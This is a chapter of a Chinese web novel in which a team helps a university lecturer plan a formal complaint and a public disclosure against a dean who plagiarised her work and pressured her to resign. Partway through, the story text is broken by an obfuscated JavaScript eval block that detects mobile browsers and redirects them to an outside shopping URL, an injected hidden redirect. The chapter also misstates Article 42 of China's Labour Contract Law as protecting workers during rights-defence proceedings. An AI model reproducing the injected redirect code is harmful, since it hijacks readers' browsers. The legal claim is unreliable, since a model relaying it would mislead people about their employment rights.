罗贝妮的讲述结束已经一个多小时了,工作室里还是一片沉默。
窗外的阳光从西斜变成金黄,在地板上投下长长的影子。
吴小糖的眼眶还红着,她咬着嘴唇,忍着眼泪。
应宽的手指停在键盘上,一动不动,屏幕上光标一闪一闪,像是在等着什么。
俞彩虹脸上看不出表情,但她的眼睛里有东西在翻涌。
罗贝妮低着头,盯着手里的水杯。水早就凉了,但她还是一直握着。
徐寄遥沉默了很久才开口:
“罗老师,那张离职表,你带在身上吗?”
罗贝妮愣了一下,点点头。
“在包里。”
“拿出来看看。”
罗贝妮从包里翻出一张A4纸,展开。纸上印着“离职申请表”几个黑体字,最底下的签名栏空着。
徐寄遥接过去,看了一眼。
“截止日期是今天?”
罗贝妮点点头。
“人事处说,让我3月10日前交上去。今天已经17号了。”
吴小糖急了:“那、那是不是已经过期了?”
罗贝妮摇摇头。
“过期倒不会,这种表,你什么时候交,他们什么时候收,问题是……”
她顿了顿。
“我不交,就是旷工,旷工超过五天,他们可以直接解聘,我交,就等于自己承认走人。”
徐寄遥把表还给她。
“所以你现在是被架在那儿了,交也不是,不交也不是。”
罗贝妮点点头。
“我被他们牵着鼻子走了半个月,从培训到旷工,从旷工到离职,每一步都是他们设计好的。”
她抬起头,看着徐寄遥。
“我现在该怎么办?”
徐寄遥没有回答。
她走到白板前,拿起笔,写下几个字:
【罗贝妮·现状】
【问题1:离职表——交还是不交?】
【问题2:旷工——已超5天,随时可能被解聘】
【问题3:举报——有证据,但不敢发】
她写完,转过身。
“罗老师,你看出来了吗?”
罗贝妮盯着那几个问题,沉默了几秒。
“看出来什么?”
“你现在所有的困境,都是被动的;他们在出招,你在接招;他们安排培训,你去;他们让你旷工,你旷;他们让你交表,你犹豫。”
徐寄遥的声音很平静,但每一个字都很清晰。
“你得换一个思路。”
“什么思路?”
“别接招了,得出招。”
/
罗贝妮愣住了。
“我……我出招?”
徐寄遥点点头。
“你现在手里有什么?”
罗贝妮想了想。
“论文草稿、邮件记录、微信截图、录音。”
“还有什么?”
“还有?……这件事本身吧。”
“这件事本身怎么了?”
罗贝妮犹豫了一下。
“这件事……它本身就是一个问题,一个导师剽窃学生论文,还打压下属的问题。”
徐寄遥点点头。
“对,这就是你的武器。”
她走回白板前,在几个问题下面画了一条线,然后写下:
【反击方案】
【第一步:整理材料,形成书面举报信】
【第二步:向校方所有相关部门正式举报】
【第三步:同步公开发布,形成舆论监督】
【第四步:用举报期间的法律保护期反制离职程序】
她写完,放下笔。
“罗老师,你知道《劳动法》第42条吗?”
罗贝妮摇摇头。
“《劳动合同法》第42条规定,劳动者在依法维权期间,用人单位不得解除劳动合同。”
徐寄遥看着她。
“你现在要做的,就是进入依法维权期。”
罗贝妮的眼睛慢慢亮起来。
“你的意思是……我先举报,用举报来挡住他们逼我离职?”
徐寄遥点点头。
“对,你只要正式提交了举报材料,就进入了法律保护的程序;在这个程序进行期间,他们不能以旷工为由解聘你,旷工的前提是你‘无故’缺勤,但你是‘有故’的,你在依法维权。”
罗贝妮的手开始发抖。
“那、那我应该举报什么?举报张凌烽抄袭?”
“不止。”
徐寄遥在白板上写下:
【举报内容】
【1. 学术抄袭:张凌烽剽窃罗贝妮2020年论文核心成果】
【2. 学术霸凌:张凌烽利用院长职权,安排重复培训、制造旷工、逼迫离职】
【3. 滥用职权:张凌烽在举报后刻意回避、威胁恐吓】
她写完,看着罗贝妮。
“这三条,每一条都有证据。”
“抄袭有论文对比,霸凌有培训通知和旷工记录,滥用职权有录音;你把这三条整理成一份完整的举报信,发给校纪委、校领导、人事处,所有能发的部门都发一遍。”
罗贝妮犹豫了。
“可是,发给他们有什么用?他们是同一个学校的,会向着我?”
徐寄遥摇摇头。
“不是让他们向着你。是让他们不能无视你。”
她顿了顿。
“你把举报信发给他们,他们就收到了‘正式举报’;按照教育部规定,他们必须在规定时间内受理、调查和答复;如果他们不处理,或者包庇张凌烽,你可以向上级部门举报他们不作为。”
“到那个时候,这件事就不是你和张凌烽两个人的事了。”
俞彩虹在旁边轻轻点头。
“寄遥这个思路是对的。”
她走过来,看着白板上的字。
“罗老师,我在大学待了17年,见过太多这种事,为什么大多数被霸凌的人最后都输了?不是因为他们没证据,是因为他们怕。”
“怕举报了没用,怕举报了被报复,怕举报了反而把自己搞得更惨;所以,他们一直忍,一直拖,一直等;等到最后,人被搞走了,什么都没留下。”
她看着罗贝妮。
“你已经走到这一步了,没什么好怕的了。”
罗贝妮沉默了很久。
然后她问:
“那、公开发布呢?真的要发到网上?”
徐寄遥点点头。
“对,但不是在举报之前发,是在举报之后发。”
“为什么?”
“因为举报是程序,公开发布是舆论。”
“程序在前,舆论在后,这叫合法维权;反过来,舆论在前,程序在后,别人会说你是炒作。”
她顿了顿。
“你先发举报信给学校和纪委,给所有该给的部门,然后在举报信发出24小时后,把举报内容公开发布到网上;那个时候,你已经完成了‘正式举报’的程序,舆论只是为了让更多人知道,从而进行社会监督。”
罗贝妮的眼睛更亮了。
“这样学校就不能说我是在网络维权了?”
徐寄遥点点头。
“你在走程序,程序没走通才不得不上网。”
/
应宽一直在旁边听着,这时候开口了。
“罗老师,你那些证据,能给我看看吗?”
罗贝妮从包里拿出U盘,递给他。
“都在里面。”
应宽接过去,插在电脑上。
“论文草稿有十几个版本?”
“是的,从2019年3月到2020年3月,每一版都有时间戳。”
“邮件记录呢?”
“从他否定我那篇论文的那封开始,到今年2月,一条没删。”
“录音呢?什么格式的?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239921|197680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“手机录的,MP3,那次谈话全录下来了,四十多分钟。”
应宽点点头,开始浏览。
他的表情越来越认真。
“罗老师,你这证据质量很高。”
他指着屏幕。
“论文草稿的时间戳,能证明这篇论文在你手里已经存在了五年多,张凌烽那篇论文是去年年底发的,时间上他对不上。”
“邮件记录里,他否定你这篇论文的那封邮件,是铁证,他说‘这个选题意义不大’,让你换方向,结果五年后他自己发表了,这叫什么?这叫剽窃。”
“录音也很关键,他那些话,表面上看起来像是在劝导,但结合上下文,结合你被安排培训、被旷工、被逼离职的事实,就能证明他在威胁你。”
他推了推眼镜。
“这些东西,足够写一份让任何人都挑不出毛病的举报材料了。”
徐寄遥走到应宽身后,看着屏幕。
“整理这些需要多久?”
应宽想了想。
“一到两天,我能给你一份完整的证据链报告,包括时间线、对比分析、法律依据,拿出去,直接可以当举报材料用。”
徐寄遥点点头,又看向俞彩虹。
“俞老师,举报信写完之后,发给谁?你有建议吗?”
俞彩虹想了想。
“校纪委、校领导、人事处、学术委员会,这四个部门是必须发的;另外,教育部学术不端举报邮箱,也可以发一份。”
她顿了顿。
“我在媒体圈还有一些朋友,等举报信发出去了,我可以联系他们,让他们关注,万一学校压着不处理,有媒体盯着,他们不敢太乱来。”
罗贝妮听着,眼泪又流下来。
但这一次,是终于看到曙光的眼泪。
/
徐寄遥走回白板前,在最下面写了一行字:
【代吵团队·罗贝妮·行动方案】
【第一步(今晚-明天):罗贝妮整理举报信草稿,徐寄遥协助修改】
【第二步(3月19日):应宽完成证据链报告】
【第三步(3月20日):正式提交举报信(校纪委/校领导/人事处/学术委员会/教育部)】
【第四步(24小时后):公开发布举报内容,同步联系媒体关注】
她写完,转过身。
“罗老师,这个方案,你觉得怎么样?”
罗贝妮盯着白板上的那几行字,看了很久。
然后她站起来。
“我做。”
她的声音很轻,但很稳。
“寄遥,我写举报信,你帮我改。”
吴小糖在旁边看着,眼眶又红了。
她走到罗贝妮面前。
“罗老师,你放心,这几天你就在这儿写,我陪着,保证你的人身安全。”
罗贝妮看着她,愣了一下。
然后笑了,“谢谢。”
俞彩虹走过来,拍拍她的肩。
“罗老师,我当年没做到的事,你来做,我当年没说完的话,你来说。”
应宽推了推眼镜。
“证据的事,交给我。”
徐寄遥看着他们,嘴角微微上扬。
“那就这么定了。”
她走到窗边,看着外面渐渐暗下来的天色。
“罗老师,从现在开始,你不是一个人在走了。”
/
窗外的路灯亮起来,橙黄色的光透过玻璃,落在工作室的地板上。
罗贝妮坐在沙发上,面前放着她的平板电脑,开始写:
【实名举报信】
【举报人:罗贝妮,启元大学社会学系讲师】
【被举报人:张凌烽,启元大学社会学系院长、教授】
【举报事项:】
她停下来,看着那几个字。
手在发抖。
但她没有停。
她继续写下去。